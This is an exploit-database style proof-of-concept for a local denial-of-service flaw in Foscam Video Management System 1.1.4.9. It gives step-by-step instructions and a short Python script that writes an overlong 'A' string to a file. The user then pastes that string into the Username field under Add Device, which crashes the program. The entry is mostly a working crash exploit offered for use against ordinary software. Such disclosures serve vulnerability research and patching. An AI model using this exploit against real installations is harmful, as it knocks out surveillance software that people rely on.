Foscam Video Management System 1.1.4.9 Denial Of Service

`# Exploit Title: Foscam Video Management System 1.1.4.9 - 'Username' Denial of Service (PoC)  
# Author: chuyreds  
# Discovery Date: 2019-11-16  
# Vendor Homepage: https://www.foscam.es/  
# Software Link : https://www.foscam.es/descarga/FoscamVMS_1.1.4.9.zip  
# Tested Version: 1.1.4.9  
# Vulnerability Type: Denial of Service (DoS) Local  
# Tested on OS: Windows 10 Pro x64 es  
  
# Steps to Produce the Crash:   
# 1.- Run python code : python foscam-vms-uid-dos.py  
# 2.- Open FoscamVMS1.1.4.9.txt and copy its content to clipboard  
# 3.- Open FoscamVMS  
# 4.- Go to Add Device  
# 5.- Choose device type "NVR"/"IPC"  
# 6.- Copy the content of the file into Username  
# 7.- Click on Login Check  
# 8.- Crashed  
  
buffer = "\x41" * 520  
f = open ("FoscamVMS_1.1.4.9.txt", "w")  
f.write(buffer)  
f.close()  
`